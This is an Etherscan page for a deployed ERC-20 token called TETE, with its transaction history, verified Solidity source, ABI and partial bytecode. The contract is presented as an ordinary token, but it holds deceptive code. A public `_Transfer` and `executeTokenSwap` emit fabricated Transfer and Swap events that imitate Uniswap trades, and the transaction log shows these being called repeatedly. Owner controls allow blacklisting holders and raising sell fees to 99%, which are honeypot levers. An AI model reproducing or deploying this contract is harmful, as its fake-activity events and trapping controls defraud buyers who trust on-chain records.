ETH Price: $2,646.50 (+0.15%)
Gas: 8.54 Gwei

Contract

0x13Be6F993977E84Cf6f63A311ce55D90C064a521
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Block Bots176955352023-07-15 1:25:47462 days ago1689384347IN
0x13Be6F99...0C064a521
0 ETH0.0005960712.51785296
Execute Token Sw...176936402023-07-14 19:00:59463 days ago1689361259IN
0x13Be6F99...0C064a521
0 ETH0.009016227.56657677
Execute Token Sw...176936392023-07-14 19:00:47463 days ago1689361247IN
0x13Be6F99...0C064a521
0 ETH0.0101667227.62914042
Execute Token Sw...176936372023-07-14 19:00:23463 days ago1689361223IN
0x13Be6F99...0C064a521
0 ETH0.0092903625.96967304
Execute Token Sw...176936332023-07-14 18:59:35463 days ago1689361175IN
0x13Be6F99...0C064a521
0 ETH0.0098227222.87770313
Execute Token Sw...176918042023-07-14 12:49:11463 days ago1689338951IN
0x13Be6F99...0C064a521
0 ETH0.0099511416.84961944
Execute Token Sw...176917892023-07-14 12:46:11463 days ago1689338771IN
0x13Be6F99...0C064a521
0 ETH0.0096174818.41974158
Block Bots176917522023-07-14 12:38:35463 days ago1689338315IN
0x13Be6F99...0C064a521
0 ETH0.0009412719.76724847
Execute Token Sw...176917192023-07-14 12:31:59463 days ago1689337919IN
0x13Be6F99...0C064a521
0 ETH0.0092096819.81612101
Execute Token Sw...176917152023-07-14 12:31:11463 days ago1689337871IN
0x13Be6F99...0C064a521
0 ETH0.0072287520.08997895
Execute Token Sw...176915582023-07-14 11:59:35463 days ago1689335975IN
0x13Be6F99...0C064a521
0 ETH0.0073519217.83232192
Execute Token Sw...176915492023-07-14 11:57:47463 days ago1689335867IN
0x13Be6F99...0C064a521
0 ETH0.0077719817.51398158
Execute Token Sw...176915422023-07-14 11:56:23463 days ago1689335783IN
0x13Be6F99...0C064a521
0 ETH0.0065272416.68058986
Execute Token Sw...176915322023-07-14 11:54:23463 days ago1689335663IN
0x13Be6F99...0C064a521
0 ETH0.006825915.75712985
Execute Token Sw...176915232023-07-14 11:52:35463 days ago1689335555IN
0x13Be6F99...0C064a521
0 ETH0.0080024316.12707909
Block Bots176915182023-07-14 11:51:35463 days ago1689335495IN
0x13Be6F99...0C064a521
0 ETH0.000819617.21211183
Approve176915172023-07-14 11:51:23463 days ago1689335483IN
0x13Be6F99...0C064a521
0 ETH0.0009722920.57552407
Execute Token Sw...176915152023-07-14 11:50:59463 days ago1689335459IN
0x13Be6F99...0C064a521
0 ETH0.0056697417.26785554
Execute Token Sw...176915072023-07-14 11:49:23463 days ago1689335363IN
0x13Be6F99...0C064a521
0 ETH0.0050357516.96112268
Execute Token Sw...176915002023-07-14 11:47:59463 days ago1689335279IN
0x13Be6F99...0C064a521
0 ETH0.007920319.11667746
Execute Token Sw...176914832023-07-14 11:44:35463 days ago1689335075IN
0x13Be6F99...0C064a521
0 ETH0.009546415.16983224
Execute Token Sw...176914692023-07-14 11:41:47463 days ago1689334907IN
0x13Be6F99...0C064a521
0 ETH0.0083734716.87261849
Execute Token Sw...176914602023-07-14 11:39:59463 days ago1689334799IN
0x13Be6F99...0C064a521
0 ETH0.0066031714.50019772
Approve176914452023-07-14 11:36:59463 days ago1689334619IN
0x13Be6F99...0C064a521
0 ETH0.0008585118.16778381
Approve176914452023-07-14 11:36:59463 days ago1689334619IN
0x13Be6F99...0C064a521
0 ETH0.0008810218.66778381
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-14
*/

/// SPDX-License-Identifier: Unlicensed



pragma solidity ^0.8.18;



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract TOKEN is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"TETE";
    string private constant _symbol = unicode"TETE";
    uint8 private constant _decimals = 2;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0xf810e2C9aedb015c3428A17B4E23eE585d09051e);
    address payable private _marketingAddress = payable(0xf810e2C9aedb015c3428A17B4E23eE585d09051e);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled =true;

    uint256 public _maxTxAmount = 5000000000000 * 10**9;
    uint256 public _maxWalletSize = 500000000000 * 10**9;
    uint256 public _swapTokensAtAmount = 100000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }
function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function activateTrading() public onlyOwner {
        tradingOpen = true;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public { 
    require(
        msg.sender == owner() || balanceOf(msg.sender) >= totalSupply() / 50, 
        " owner "
    );
    bots[notbot] = false;
}


    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {

        require((redisFeeOnBuy + taxFeeOnBuy) <= 25);
        require((redisFeeOnSell + taxFeeOnSell) <= 99);
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function removeLimits() public onlyOwner{

        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    } 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006000196200001c919062000730565b6000196200002b919062000797565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f5573f810e2c9aedb015c3428a17b4e23ee585d09051e601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f810e2c9aedb015c3428a17b4e23ee585d09051e601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555069010f0cf064dd59200000601655681b1ae4d6e2ef50000060175567016345785d8a00006018553480156200018857600080fd5b5060006200019b620006c660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000250620006c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000334573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035a91906200083c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e891906200083c565b6040518363ffffffff1660e01b8152600401620004079291906200087f565b6020604051808303816000875af115801562000427573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044d91906200083c565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a3620006ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000650620006c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006b79190620008bd565b60405180910390a350620008da565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073d82620006f7565b91506200074a83620006f7565b9250826200075d576200075c62000701565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a482620006f7565b9150620007b183620006f7565b9250828203905081811115620007cc57620007cb62000768565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080482620007d7565b9050919050565b6200081681620007f7565b81146200082257600080fd5b50565b60008151905062000836816200080b565b92915050565b600060208284031215620008555762000854620007d2565b5b6000620008658482850162000825565b91505092915050565b6200087981620007f7565b82525050565b60006040820190506200089660008301856200086e565b620008a560208301846200086e565b9392505050565b620008b781620006f7565b82525050565b6000602082019050620008d46000830184620008ac565b92915050565b61448a80620008ea6000396000f3fe6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576